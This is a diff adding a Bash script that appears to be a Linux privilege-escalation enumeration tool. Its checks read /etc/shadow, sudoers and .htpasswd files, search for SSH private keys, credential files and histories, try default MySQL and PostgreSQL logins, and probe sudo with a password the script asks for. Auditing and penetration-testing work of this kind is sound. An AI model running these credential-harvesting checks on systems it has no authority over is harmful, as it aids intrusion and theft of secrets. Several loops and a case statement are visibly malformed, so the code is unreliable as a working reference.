+  '/usr/bin/fusermount-glusterfs'
+  '/usr/bin/gpasswd'
+  '/usr/bin/kismet_capture'
+  '/usr/bin/mount'
+  '/usr/bin/mtr'
+  '/usr/bin/newgidmap'
+  '/usr/bin/newgrp'
+  '/usr/bin/newuidmap'
+  '/usr/bin/passwd'
+  '/usr/bin/pkexec'
+  '/usr/bin/procmail'
+  '/usr/bin/staprun'
+  '/usr/bin/su'
+  '/usr/bin/sudo'
+  '/usr/bin/sudoedit'
+  '/usr/bin/traceroute6.iputils'
+  '/usr/bin/umount'
+  '/usr/bin/weston-launch'
+  '/usr/lib/chromium-browser/chrome-sandbox'
+  '/usr/lib/dbus-1.0/dbus-daemon-launch-helper'
+  '/usr/lib/dbus-1/dbus-daemon-launch-helper'
+  '/usr/lib/eject/dmcrypt-get-device'
+  '/usr/lib/openssh/ssh-keysign'
+  '/usr/lib/policykit-1/polkit-agent-helper-1'
+  '/usr/lib/polkit-1/polkit-agent-helper-1'
+  '/usr/lib/pt_chown'
+  '/usr/lib/snapd/snap-confine'
+  '/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper'
+  '/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic'
+  '/usr/lib/xorg/Xorg.wrap'
+  '/usr/libexec/Xorg.wrap'
+  '/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache'
+  '/usr/libexec/dbus-1/dbus-daemon-launch-helper'
+  '/usr/libexec/gstreamer-1.0/gst-ptp-helper'
+  '/usr/libexec/openssh/ssh-keysign'
+  '/usr/libexec/polkit-1/polkit-agent-helper-1'
+  '/usr/libexec/pt_chown'
+  '/usr/libexec/qemu-bridge-helper'
+  '/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper'
+  '/usr/sbin/exim4'
+  '/usr/sbin/grub2-set-bootflag'
+  '/usr/sbin/mount.nfs'
+  '/usr/sbin/mtr-packet'
+  '/usr/sbin/pam_timestamp_check'
+  '/usr/sbin/pppd'
+  '/usr/sbin/pppoe-wrapper'
+  '/usr/sbin/suexec'
+  '/usr/sbin/unix_chkpwd'
+  '/usr/sbin/userhelper'
+  '/usr/sbin/usernetctl'
+  '/usr/sbin/uuidd'
+)
+#regex rules for common setuid
+lse_common_setuid+=(
+  '/snap/core/.*'
+  '/var/tmp/mkinitramfs.*'
+)
+#critical writable files
+lse_critical_writable=(
+  '/etc/apache2/apache2.conf'
+  '/etc/apache2/httpd.conf'
+  '/etc/hosts.allow'
+  '/etc/hosts.deny'
+  '/etc/httpd/conf/httpd.conf'
+  '/etc/httpd/httpd.conf'
+  '/etc/incron.conf'
+  '/etc/incron.d/*'
+  '/etc/passwd'
+  '/etc/php*/fpm/pool.d/*'
+  '/etc/php/*/fpm/pool.d/*'
+  '/etc/shadow'
+  '/etc/sudoers'
+  '/etc/supervisor/conf.d/*'
+  '/etc/supervisor/supervisord.conf'
+  '/etc/uwsgi/apps-enabled/*'
+  '/root/.ssh/authorized_keys'
+)
+#)
+
+#( Options
+lse_color=true
+lse_interactive=true
+lse_level=0 #Valid levels 0:default, 1:interesting, 2:all
+lse_selection="" #Selected tests to run. Empty means all.
+#)
+
+#( Lib
+cecho() {
+  if $lse_color; then
+    printf "$@"
+  else
+    # If color is disabled we remove it
+    printf "$@" | sed 's/\x1B\[[0-9;]\+[A-Za-z]//g'
+  fi
+}
+lse_error() {
+  cecho "${red}ERROR: ${reset}$*\n" >&2
+}
+lse_set_level() {
+  case "$1" in
+    0|1|2)
+      lse_level=$(($1))
+      ;;
+    *)
+      lse_error "Invalid level."
+      exit 1
+      ;;
+  esac
+}
+lse_help() {
+  echo "Use: $0 [options]" 
+  echo
+  echo " OPTIONS"
+  echo "   -c           Disable color"
+  echo "   -i           Non interactive mode"
+  echo "   -h           This help"
+  echo "   -l LEVEL     Output verbosity level"
+  echo "                  0: Show highly important results. (default)"
+  echo "                  1: Show interesting results."
+  echo "                  2: Show all gathered information."
+  echo "   -s SELECTION Comma separated list of sections or tests to run. Available"
+  echo "                sections:"
+  echo "                  usr: User related tests."
+  echo "                  sud: Sudo related tests."
+  echo "                  fst: File system related tests."
+  echo "                  sys: System related tests."
+  echo "                  sec: Security measures related tests."
+  echo "                  ret: Recurren tasks (cron, timers) related tests."
+  echo "                  net: Network related tests."
+  echo "                  srv: Services related tests."
+  echo "                  pro: Processes related tests."
+  echo "                  sof: Software related tests."
+  echo "                  ctn: Container (docker, lxc) related tests."
+  echo "                Specific tests can be used with their IDs (i.e.: usr020,sud)"
+}
+lse_ask() {
+  local question="$1"
+  # We use stderr to print the question
+  cecho "${white}${question}: ${reset}" >&2
+  read answer
+  case answer in
+    y|Y|yes|Yes|ok|Ok|true|True)
+      return 0
+      ;;
+    *)
+      echo "$answer"
+      return 1
+      ;;
+  esac
+}
+lse_request_information() {
+  if $lse_interactive; then
+  cecho "${grey}---\n"
+    [ -z "$lse_user" ] && lse_user=`lse_ask "Could not find current user name. Current user?"`
+    lse_pass=`lse_ask "If you know the current user password, write it here for better results"`
+  cecho "${grey}---\n"
+  fi
+}
+lse_test_passed() {
+  # Checks if a test passed by ID
+  local id="$1"
+  for i in $lse_passed_tests; do
+    [ "$i" == "$id" ] && return 0
+  done
+  return 1
+}
+lse_test() {
+  # Test id
+  local id="$1"
+  # Minimum level required for this test to show its output
+  local level=$(($2))
+  # Name of the current test
+  local name="$3"
+  # Output of the test
+  local cmd="$4"
+  # Dependencies
+  local deps="$5"
+  # Variable name where to store the output
+  local var="$6"
+
+  # Define colors
+  local l="${lred}!"
+  local r="${lgreen}"
+  [ $level -eq 1 ] && l="${lyellow}*" && r="${cyan}"
+  [ $level -eq 2 ] && l="${lblue}i" && r="${blue}"
+
+  # Filter selected tests
+  if [ "$lse_selection" ]; then
+    local sel_match=false
+    for s in $lse_selection; do
+      if [ "$s" == "$id" ] || [ "$s" == "${id:0:3}" ]; then
+        sel_match=true
+      fi
+    done
+    $sel_match || return 0
+  fi
+
+  # DEBUG messages
+  $lse_DEBUG && cecho "${lmagenta}DEBUG: ${lgreen}Executing: ${reset}$cmd\n"
+
+  # Print name and line
+  cecho "${white}[${l}${white}] ${grey}${id}${white} $name${grey}"
+  for i in $(seq $((${#name}+4)) 67); do
+    echo -n "."
+  done
+
+  # Check dependencies
+  local non_met_deps=""
+  for d in $deps; do
+    lse_test_passed "$d" || non_met_deps+="$d"
+  done
+  if [ "$non_met_deps" ]; then
+    cecho " ${grey}skip\n"
+    # In "selection mode" we print the missed dependencies
+    if [ "$lse_selection" ]; then
+      cecho "${red}---\n"
+      cecho "Dependencies not met:$reset $non_met_deps\n"
+      cecho "${red}---$reset\n"
+    fi
+    return 1
+  fi 
+
+  # If level is 2 we do not execute level 2 tests unless their output needs
+  # to be assigned to a variable
+  if [ $level -ge 2 ] && [ $lse_level -lt 2 ] && [ -z "$var" ]; then
+    cecho " ${grey}skip\n"
+    return 1
+  else
+    if $lse_DEBUG; then
+      output="`eval "$cmd" 2>&1`"
+    else
+      # Execute comand
+      output="`eval "$cmd" 2>/dev/null`"
+    # Assign variable if available
+    fi
+    [ "$var" ] && eval "$var='$output'"
+    # Mark test as executed
+    lse_executed_tests+=" $id"
+  fi
+
+  if [ -z "$output" ]; then
+    cecho "${grey} nope${reset}\n"
+    return 1
+  else
+    lse_passed_tests+=" $id"
+    cecho "${r} yes!${reset}\n"
+    if [ $lse_level -ge $level ]; then
+      cecho "${grey}---$reset\n"
+      echo "$output"
+      cecho "${grey}---$reset\n"
+    fi
+    return 0
+  fi
+}
+lse_show_info() {
+  echo
+  cecho "${lblue}        User:${reset} $lse_user\n"
+  cecho "${lblue}     User ID:${reset} $lse_user_id\n"
+  cecho "${lblue}    Password:${reset} "
+  if [ -z "$lse_pass" ]; then
+    cecho "${grey}none${reset}\n"
+  else
+    cecho "******\n"
+  fi
+  cecho "${lblue}        Home:${reset} $lse_home\n"
+  cecho "${lblue}        Path:${reset} $PATH\n"
+  cecho "${lblue}       umask:${reset} `umask 2>/dev/null`\n"
+
+  echo
+  cecho "${lblue}    Hostname:${reset} $lse_hostname\n"
+  cecho "${lblue}       Linux:${reset} $lse_linux\n"
+	if [ "$lse_distro" ]; then
+  cecho "${lblue}Distribution:${reset} $lse_distro\n"
+	fi
+  cecho "${lblue}Architecture:${reset} $lse_arch\n"
+  echo
+}
+lse_header() {
+  local id="$1"
+  shift
+  local title="$*"
+  local text="${magenta}"
+
+  # Filter selected tests
+  if [ "$lse_selection" ]; then
+    local sel_match=false
+    for s in $lse_selection; do
+      if [ "${s:0:3}" == "$id" ]; then
+        sel_match=true
+        break
+      fi
+    done
+    $sel_match || return 0
+  fi
+
+  for i in $(seq ${#title} 70); do
+    text+="="
+  done
+  text+="(${green} $title ${magenta})====="
+  cecho "$text${reset}\n"
+}
+lse_exit() {
+  local ec=1
+  local text="\n${magenta}=================================="
+  [ "$1" ] && ec=$1
+  text+="(${green} FINISHED ${magenta})=================================="
+  cecho "$text${reset}\n"
+  exit $ec
+}
+#)
+
+########################################################################( TESTS
+#
+#  A successful test will receive some output while a failed tests will receive
+# an empty string.
+#
+########################################################################( users 
+lse_run_tests_users() {
+  lse_header "usr" "users"
+
+  #user groups
+  lse_test "usr000" "2" \
+    "Current user groups" \
+    'groups' \
+    "" \
+    "lse_user_groups"
+
+  #user in an administrative group
+  lse_test "usr010" "1" \
+    "Is current user in an administrative group?" \
+    'grep -E "^(adm|admin|root|sudo|wheel)" /etc/group | grep -E "(:|,)$lse_user"'
+
+  #other users in an administrative group
+  lse_test "usr020" "1" \
+    "Are there other users in an administrative groups?" \
+    'grep -E "^(adm|admin|root|sudo|wheel)" /etc/group | grep -Ev ":$"'
+
+  #other users with shell
+  lse_test "usr030" "1" \
+    "Other users with shell" \
+    'grep -E "sh$" /etc/passwd'
+    
+  #user env information
+  lse_test "usr040" "2" \
+    "Environment information" \
+    'env | grep -v "LS_COLORS"'
+
+  #dump user groups
+  lse_test "usr050" "2" \
+    "Groups for other users" \
+    'cat /etc/group'
+
+  #dump users
+  lse_test "usr060" "2" \
+    "Other users" \
+    'cat /etc/passwd'
+}
+
+
+#########################################################################( sudo
+lse_run_tests_sudo() {
+  lse_header "sud" "sudo"
+
+  #variables for sudo checks
+  lse_sudo=false
+  lse_sudo_commands=""
+
+  #can we sudo without supplying a password
+  lse_test "sud000" "0" \
+    "Can we sudo without a password?" \
+    'echo "" | sudo -S id' && lse_sudo=true
+
+  #can we list sudo commands without supplying a password
+  $lse_sudo || \
+    lse_test "sud010" "0" \
+    "Can we list sudo commands without a password?" \
+    'echo "" | sudo -S -l' \
+    "" \
+    "lse_sudo_commands"
+
+  if [ "$lse_pass" ]; then
+    #can we sudo supplying a password
+    $lse_sudo || \
+      lse_test "sud020" "0" \
+      "Can we sudo with a password?" \
+      'echo "$lse_pass" | sudo -S id' && lse_sudo=true
+
+    #can we list sudo commands without supplying a password
+    if ! $lse_sudo && [ -z "$lse_sudo_commands" ]; then
+      lse_test "sud030" "0" \
+        "Can we list sudo commands with a password?" \
+        'echo "$lse_pass" | sudo -S -l' \
+        "" \
+        "lse_sudo_commands"
+    fi
+  fi
+
+  #check if we can read the sudoers file
+  lse_test "sud040" "1" \
+    "Can we read /etc/sudoers?" \
+    'cat /etc/sudoers'
+
+  #check users that sudoed in the past
+  lse_test "sud050" "1" \
+    "Do we know if any other users used sudo?" \
+    'for uh in $(cut -d: -f1,6 /etc/passwd); do [ -f "${uh##*:}/.sudo_as_admin_successful" ] && echo "${uh%%:*}"; done'
+}
+
+
+##################################################################( file system
+lse_run_tests_filesystem() {
+  lse_header "fst" "file system"
+
+  #writable files outside user's home. NOTE: Does not check if user can write in symlink destination (performance reasons: -L implies -noleaf)
+  lse_test "fst000" "1" \
+    "Writable files outside user's home" \
+    'find  / \! -type l -writable -not -path "$lse_home/*" -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" -not -path "/run/*";
+    # Add symlinks owned by the user (so the user can change where they point)
+    find  / -type l -user $lse_user -not -path "$lse_home/*" -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" -not -path "/run/*"' \
+    "" \
+    "lse_user_writable"
+
+  #get setuid binaries
+  lse_test "fst010" "1" \
+    "Binaries with setuid bit" \
+    'find / -perm -4000 -type f' \
+    "" \
+    "lse_setuid_binaries"
+
+  #uncommon setuid binaries
+  lse_test "fst020" "0" \
+    "Uncommon setuid binaries" \
+    'local setuidbin="$lse_setuid_binaries"; for cs in "${lse_common_setuid[@]}"; do setuidbin=`echo -e "$setuidbin" | grep -Ev "$cs"`;done ; echo -e "$setuidbin"' \
+    "fst010"
+
+  #can we write to any setuid binary
+  lse_test "fst030" "0" \
+    "Can we write to any setuid binary?" \
+    'for b in $lse_setuid_binaries; do [ -x "$b" ] && [ -w "$b" ] && echo "$b" ;done' \
+    "fst010"
+
+  #get setgid binaries
+  lse_test "fst040" "1" \
+    "Binaries with setgid bit" \
+    'find / -perm -2000 -type f' \
+    "lse_setgid_binaries"
+
+  #uncommon setgid binaries
+  lse_test "fst050" "0" \
+    "Uncommon setgid binaries" \
+    'echo -e "$lse_setgid_binaries" | grep -Ev "^/(bin|sbin|usr/bin|usr/lib|usr/sbin)"' \
+    "fst040"
+
+  #can we write to any setgid binary
+  lse_test "fst060" "0" \
+    "Can we write to any setgid binary?" \
+    'for b in $lse_setgid_binaries; do [ -x "$b" ] && [ -w "$b" ] && echo "$b" ;done' \
+    "fst040"
+    
+  #can we read /root
+  lse_test "fst070" "1" \
+    "Can we read /root?" \
+    'ls -ahl /root/'
+
+  #check /home permissions
+  lse_test "fst080" "1" \
+    "Can we read subdirectories under /home?" \
+    'for h in /home/*; do [ -d "$h" ] && [ "$h" != "$lse_home" ] && ls -la "$h/"; done'
+
+  #check for SSH files in home directories
+  lse_test "fst090" "1" \
+    "SSH files in home directories" \
+    'for h in $(cut -d: -f6 /etc/passwd | sort | uniq | grep -Ev "^(/|/dev|/bin|/proc|/run/.*|/var/run/.*)$"); do find "$h" \( -name "*id_dsa*" -o -name "*id_rsa*" -o -name "*id_ecdsa*" -o -name "*id_ed25519*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} \; ; done'
+
+  #check useful binaries
+  lse_test "fst100" "1" \
+    "Useful binaries" \
+    'which curl; which dig; which gcc; which nc.openbsd; which nc; which netcat; which nmap; which socat; which wget'
+
+  #check for interesting files in home directories
+  lse_test "fst110" "1" \
+    "Other interesting files in home directories" \
+    'for h in $(cut -d: -f6 /etc/passwd); do find "$h" \( -name "*.rhosts" -o -name ".git-credentials" -o -name ".*history" \) -maxdepth 1 -exec ls -la {} \; ;'
+
+  #looking for credentials in /etc/fstab and /etc/mtab
+  lse_test "fst120" "0" \
+    "Are there any credentials in fstab/mtab?" \
+    'grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab'
+
+  #check if current user has mail
+  lse_test "fst130" "1" \
+    "Does '$lse_user' have mail?" \
+    'ls -l "/var/mail/$lse_user"'
+
+  #check if we can access other users mail mail
+  lse_test "fst140" "0" \
+    "Can we access other users mail?" \
+    'for f in /var/mail/*; do [ "$f" != "/var/mail/$lse_user" ] && [ -r "$f" ] && echo "$f"; done'
+
+  #check for code repositories
+  lse_test "fst150" "1" \
+    "Looking for GIT/SVN repositories" \
+    'find / \( -name ".git" -o -name ".svn" \)'
+
+  #can we write to files that can give us root
+  lse_test "fst160" "0" \
+    "Can we write to critical files?" \
+    'for uw in $lse_user_writable; do [ -f "$uw" ] && for cw in "${lse_critical_writable[@]}"; do ls $cw 2>/dev/null | egrep "^$uw$"; done ; done' \
+    "fst000"
+
+  #files owned by user
+  lse_test "fst500" "2" \
+    "Files owned by user '$lse_user'" \
+    'find / -user $lse_user -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \;'
+
+  #check for SSH files anywhere
+  lse_test "fst510" "2" \
+    "SSH files anywhere" \
+    'find / \( -name "*id_dsa*" -o -name "*id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} \;'
+
+  #dump hosts.equiv file
+  lse_test "fst520" "2" \
+    "Check hosts.equiv file and its contents" \
+    'find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} \;'
+
+  #list nfs shares
+  lse_test "fst530" "2" \
+    "List NFS server shares" \
+    'ls -la /etc/exports; cat /etc/exports'
+
+  #dump fstab
+  lse_test "fst540" "2" \
+    "Dump fstab file" \
+    'cat /etc/fstab'
+}
+
+
+#######################################################################( system
+lse_run_tests_system() {
+  lse_header "sys" "system"
+
+  #who is logged in
+  lse_test "sys000" "2" \
+    "Who is logged in" \
+    'w'
+
+  #last logged in users
+  lse_test "sys010" "2" \
+    "Last logged in users" \
+    'last'
+
+  #check if /etc/passwd has the hashes (old system)
+  lse_test "sys020" "0" \
+    "Does the /etc/passwd have hashes?" \
+    'grep -v "^[^:]*:[x]" /etc/passwd'
+
+  #check if we can read any shadow file
+  for s in 'shadow' 'shadow-' 'shadow~' 'master.passwd'; do
+    lse_test "sys030" "0" \
+      "Can we read /etc/$s file?" \
+      'cat /etc/$s'
+  done
+
+  #check for superuser accounts
+  lse_test "sys040" "1" \
+    "Check for other superuser accounts" \
+    'for u in $(cut -d: -f1 /etc/passwd); do [ $(id -u $u) == 0 ] && echo $u; done | grep -v root'
+
+  #can root log in via SSH
+  lse_test "sys050" "1" \
+    "Can root user log in via SSH?" \
+    'grep -E "^[[:space:]]*PermitRootLogin " /etc/ssh/sshd_config | grep -E "(yes|without-password)"'
+    
+  #list available shells
+  lse_test "sys060" "2" \
+    "List available shells" \
+    'cat /etc/shells'
+
+  #system umask
+  lse_test "sys070" "2" \
+    "System umask in /etc/login.defs" \
+    'grep "^UMASK" /etc/login.defs'
+
+  #system password policies
+  lse_test "sys080" "2" \
+    "System password policies in /etc/login.defs" \
+    'grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs'
+}
+
+
+#####################################################################( security
+lse_run_tests_security() {
+  lse_header "sec" "security"
+
+  #check if selinux is present
+  lse_test "sec000" "1" \
+    "Is SELinux present?" \
+    'sestatus'
+
+  #get all binaries with capabilities
+  lse_test "sec010" "1" \
+    "List files with capabilities" \
+    'getcap -r /' \
+    "" \
+    "lse_cap_bin"
+
+  #check if we can write an a binary with capabilities
+  lse_test "sec020" "0" \
+    "Can we write to a binary with caps?" \
+    'for b in $(echo -e "$lse_cap_bin" | cut -d" " -f1); do [ -w "$b" ] && echo "$b"; done'
+
+  #check if we have all capabilities in any binary
+  lse_test "sec030" "0" \
+    "Do we have all caps in any binary?" \
+    'echo -e "$lse_cap_bin" | grep -v "cap_"'
+
+  #search /etc/security/capability.conf for users associated capapilies
+  lse_test "sec040" "1" \
+    "Users with associated capabilities" \
+    'grep -v "^#\|none\|^$" /etc/security/capability.conf' \
+    "" \
+    "lse_user_caps"
+
+  #does user have capabilities
+  lse_test "sec050" "0" \
+    "Does current user have capabilities?" \
+    'echo -e "$lse_user_caps" | grep "$lse_user"' \
+    "sec040"
+}
+
+
+##############################################################( recurrent tasks 
+lse_run_tests_recurrent_tasks() {
+  lse_header "ret" "recurrent tasks"
+
+  ## CRON
+  #user crontab
+  lse_test "ret000" "1" \
+    "User crontab" \
+    'crontab -l | grep -Ev "^#"'
+
+  #cron tasks writable by user
+  lse_test "ret010" "0" \
+    "Cron tasks writable by user" \
+    'find -L /etc/cron* /etc/anacron /var/spool/cron -writable' \
+
+  #list cron jobs
+  lse_test "ret020" "1" \
+    "Cron jobs" \
+    'grep -ERv "^(#|$)" /etc/crontab /etc/cron.d/ /etc/anacrontab'
+
+  #can we read other user crontabs?
+  lse_test "ret030" "1" \
+    "Can we read user crontabs" \
+    'ls -la /var/spool/cron/crontabs/*'
+
+  #can we list other user cron tasks? (you need privileges for this, so if you can something is fishy)
+  lse_test "ret040" "1" \
+    "Can we list other user cron tasks?" \
+    'for u in $(cut -d: -f 1 /etc/passwd); do [ "$u" != "$lse_user" ] && crontab -l -u "$u"; done'
+
+  #can we write to executable paths present in cron tasks?
+  lse_test "ret050" "0" \
+    "Can we write to executable paths present in cron jobs" \
+    'for uw in $lse_user_writable; do [ -f "$uw" ] && [ -x "$uw" ] && grep -R "$uw" /etc/crontab /etc/cron.d/ /etc/anacrontab ; done' \
+    "fst000"
+
+  #can we write to any paths present in cron tasks?
+  lse_test "ret060" "1" \
+    "Can we write to any paths present in cron jobs" \
+    'for uw in $lse_user_writable; do grep -R "$uw" /etc/crontab /etc/cron.d/ /etc/anacrontab ; done | sort  | uniq' \
+    "fst000"
+
+  #list cron files
+  lse_test "ret400" "2" \
+    "Cron files" \
+    'ls -la /etc/cron*'
+
+
+  ## Systemd Timers
+  #user timers
+  lse_test "ret500" "1" \
+    "User systemd timers" \
+    'systemctl --user list-timers --all | grep -Ev "(^$|timers listed)"'
+
+  #can we write in any system timer?
+  lse_test "ret510" "0" \
+    "Can we write in any system timer?" \
+    'echo -e "$lse_user_writable" | grep -E "\.timer$"' \
+    "fst000"
+
+  #system timers
+  lse_test "ret900" "2" \
+    "Systemd timers" \
+    'systemctl list-timers --all'
+}
+
+
+######################################################################( network
+lse_run_tests_network() {
+  lse_header "net" "network"
+
+  #services listening only on localhost
+  lse_test "net000" "1" \
+    "Services listening only on localhost" \
+    '(ss -tunlp || netstat -tunlp)2>/dev/null | grep "127.0.0.1:"'
+
+  #can we execute tcpdump
+  lse_test "net010" "0" \
+    "Can we sniff traffic with tcpdump?" \
+    '(tcpdump -i lo -n 2>&1 & pid=$!;sleep 0.2;kill $pid)2>/dev/null | grep -i "listening on lo"'
+
+  #nic information
+  lse_test "net500" "2" \
+    "NIC and IP information" \
+    'ifconfig -a || ip a'
+
+  #routing table
+  lse_test "net510" "2" \
+    "Routing table" \
+    'route -n || ip r'
+
+  #arp table
+  lse_test "net520" "2" \
+    "ARP table" \
+    'arp -an || ip n'
+
+  #nameservers
+  lse_test "net530" "2" \
+    "Namerservers" \
+    'grep "nameserver" /etc/resolv.conf'
+
+  #systemd nameservers
+  lse_test "net540" "2" \
+    "Systemd Nameservers" \
+    'systemd-resolve --status || systemd-resolve --user --status'
+
+  #listening TCP
+  lse_test "net550" "2" \
+    "Listening TCP" \
+    'netstat -tnlp || ss -tnlp'
+  
+  #listening UDP
+  lse_test "net560" "2" \
+    "Listening UDP" \
+    'netstat -unlp || ss -unlp'
+}
+
+
+#####################################################################( services
+lse_run_tests_services() {
+  lse_header "srv" "services"
+
+  ## System-V
+  #check write permissions in init.d/* inetd.conf xinetd.conf
+  lse_test "srv000" "0" \
+    "Can we write in service files?" \
+    'echo -e "$lse_user_writable" | grep -E "^/etc/(init/|init\.d/|rc\.d/|rc[0-9S]\.d/|rc\.local|inetd\.conf|xinetd\.conf|xinetd\.d/)"' \
+    "fst000"
+
+  #check write permissions for binaries involved in services
+  lse_test "srv010" "0" \
+    "Can we write in binaries executed by services?" \
+    'for b in $(grep -ERvh "^#" /etc/inetd.conf /etc/xinetd.conf /etc/xinetd.d/ /etc/init.d/ /etc/rc* 2>/dev/null | tr -s "[[:space:]]" "\n" | grep -E "^/" | grep -Ev "^/(dev|run|sys|proc|tmp)/" | sort | uniq); do [ -x "$b" ] && [ -w "$b" ] && echo "$b" done'
+
+  #init.d files NOT belonging to root
+  lse_test "srv020" "1" \
+    "Files in /etc/init.d/ not belonging to root" \
+    'find /etc/init.d/ \! -uid 0 -type f | xargs -r ls -la'
+
+  #rc.d/init.d files NOT belonging to root!
+  lse_test "srv030" "1" \
+    "Files in /etc/rc.d/init.d not belonging to root" \
+    'find /etc/rc.d/init.d \! -uid 0 -type f | xargs -r ls -la'
+
+  # upstart scripts not belonging to root
+  lse_test "srv040" "1" \
+    "Upstart files not belonging to root" \
+    'find /etc/init \! -uid 0 -type f | xargs -r ls -la'
+
+  #/usr/local/etc/rc.d files NOT belonging to root!
+  lse_test "srv050" "1" \
+    "Files in /usr/local/etc/rc.d not belonging to root" \
+    'find /usr/local/etc/rc.d \! -uid 0 -type f | xargs -r ls -la'
+
+  #contents of inetd.conf
+  lse_test "srv400" "2" \
+    "Contents of /etc/inetd.conf" \
+    'cat /etc/inetd.conf'
+
+  #xinetd info
+  lse_test "srv410" "2" \
+    "Contents of /etc/xinetd.conf" \
+    'cat /etc/xinetd.conf'
+
+  #check xinetd.d and permissions
+  lse_test "srv420" "2" \
+    "List /etc/xinetd.d if used" \
+    'grep "/etc/xinetd.d" /etc/xinetd.conf ; ls -la /etc/xinetd.d'
+
+  #permissions of init.d scripts
+  lse_test "srv430" "2" \
+    "List /etc/init.d/ permissions" \
+    'ls -la /etc/init.d'
+
+  #rc.d/init.d permissions
+  lse_test "srv440" "2" \
+    "List /etc/rc.d/init.d permissions" \
+    'ls -la /etc/rc.d/init.d'
+
+  #usr/rc.d permissions
+  lse_test "srv450" "2" \
+    "List /usr/local/etc/rc.d permissions" \
+    'ls -la /usr/local/etc/rc.d'
+
+  # init permissions
+  lse_test "srv460" "2" \
+    "List /etc/init/ permissions" \
+    'ls -la /etc/init/'
+
+  ## Systemd
+  #check write permissions in systemd services
+  lse_test "srv500" "0" \
+    "Can we write in systemd service files?" \
+    'echo -e "$lse_user_writable" | grep -E "^/(etc/systemd/|lib/systemd/).+\.service$"' \
+    "fst000"
+
+  #check write permissions for binaries involved in systemd services
+  lse_test "srv510" "0" \
+    "Can we write in binaries executed by systemd services?" \
+    'for b in $(grep -ERh "^Exec" /etc/systemd/ /lib/systemd/ 2>/dev/null | tr "=" "\n" | tr -s "[[:space:]]" "\n" | grep -E "^/" | grep -Ev "^/(dev|run|sys|proc|tmp)/" | sort | uniq); do [ -x "$b" ] && [ -w "$b" ] && echo "$b" done'
+
+  # systemd files not belonging to root
+  lse_test "srv520" "1" \
+    "Systemd files not belonging to root" \
+    'find /lib/systemd/ /etc/systemd \! -uid 0 -type f | xargs -r ls -la'
+
+  # systemd permissions
+  lse_test "srv900" "2" \
+    "Systemd config files permissions" \
+    'ls -lthR /lib/systemd/ /etc/systemd/'
+}
+
+
+####################################################################( processes
+lse_run_tests_processes() {
+  lse_header "pro" "processes"
+
+  #lookup process binaries
+  lse_proc_bin=`(ps -eo comm | sort | uniq | xargs which)2>/dev/null`
+
+  #check if we have wire permissions in any process binary
+  lse_test "pro000" "0" \
+    "Can we write in any process binary?" \
+    'for b in $lse_proc_bin; do [ -w "$b" ] && echo $b; done'
+
+  lse_test "pro010" "1" \
+    "Processes running with root permissions" \
+    'ps -u root -U root -f | grep -Ev "\[[[:alnum:]]"'
+
+  #running processes
+  lse_test "pro500" "2" \
+    "Running processes" \
+    'ps auxf'
+
+  #list running process binaries and their permissions
+  lse_test "pro510" "2" \
+    "Running process binaries and permissions" \
+    'echo -e "$lse_proc_bin" | xargs -n1 ls -l'
+}
+
+
+#####################################################################( software
+lse_run_tests_software() {
+  lse_header "sof" "software"
+
+  #checks to see if root/root will get us a connection
+  lse_test "sof000" "0" \
+    "Can we connect to MySQL with root/root credentials?" \
+    'mysqladmin -uroot -proot version'
+
+  #checks to see if we can connect as root without password
+  lse_test "sof010" "0" \
+    "Can we connect to MySQL as root without password?" \
+    'mysqladmin -uroot version'
+
+  #checks to see if we can connect to postgres templates without password
+  lse_test "sof020" "0" \
+    "Can we connect to PostgreSQL template0 as postgres and no pass?" \
+    'psql -U postgres template0 -c "select version()" | grep version'
+  lse_test "sof020" "0" \
+    "Can we connect to PostgreSQL template1 as postgres and no pass?" \
+    'psql -U postgres template1 -c "select version()" | grep version'
+  lse_test "sof020" "0" \
+    "Can we connect to PostgreSQL template0 as psql and no pass?" \
+    'psql -U pgsql template0 -c "select version()" | grep version'
+  lse_test "sof020" "0" \
+    "Can we connect to PostgreSQL template1 as psql and no pass?" \
+    'psql -U pgsql template1 -c "select version()" | grep version'
+
+  #installed apache modules
+  lse_test "sof030" "1" \
+    "Installed apache modules" \
+    'apache2ctl -M; httpd -M'
+
+  #find htpassword files
+  lse_test "sof040" "0" \
+    "Found any .htpasswd files?" \
+    'find / -name "*.htpasswd" -print -exec cat {} \;'
+
+  #sudo version - check to see if there are any known vulnerabilities with this
+  lse_test "sof500" "2" \
+    "Sudo version" \
+    'sudo -V | grep "Sudo version"'
+
+  #mysql details - if installed
+  lse_test "sof510" "2" \
+    "MySQL version" \
+    'mysql --version'
+
+  #postgres details - if installed
+  lse_test "sof520" "2" \
+    "Postgres version" \
+    'psql -V'
+
+  #apache details - if installed
+  lse_test "sof530" "2" \
+    "Apache version" \
+    'apache2 -v; httpd -v'
+}
+
+
+###################################################################( containers
+lse_run_tests_containers() {
+  lse_header "ctn" "containers"
+
+  #check to see if we are in a docker container
+  lse_test "ctn000" "1" \
+    "Are we in a docker container?" \
+    'grep -i docker /proc/self/cgroup; find / -name "*dockerenv*" -exec ls -la {} \;'
+
+  #check to see if current host is running docker services
+  lse_test "ctn010" "1" \
+    "Is docker available?" \
+    'docker --version; docker ps -a'
+
+  #is user a member of the docker group
+  lse_test "ctn020" "0" \
+    "Is the user a member of the 'docker' group?" \
+    'groups | grep -o docker'
+
+  #check to see if we are in an lxc container
+  lse_test "ctn200" "1" \
+    "Are we in a lxc container?" \
+    'grep -a container=lxc /proc/1/environ | tr -d "\0"'
+
+  #is user a member of any lxd/lxc group
+  lse_test "ctn210" "0" \
+    "Is the user a member of any lxc/lxd group?" \
+    'groups | grep "lxc\|lxd"'
+}
+#
+##)
+
+#( Main
+while getopts "hcil:s:" option; do
+  case "${option}" in
+    c) lse_color=false;;
+    i) lse_interactive=false;;
+    l) lse_set_level "${OPTARG}";;
+    s) lse_selection="${OPTARG//,/ }";;
+    h) lse_help; exit 0;;
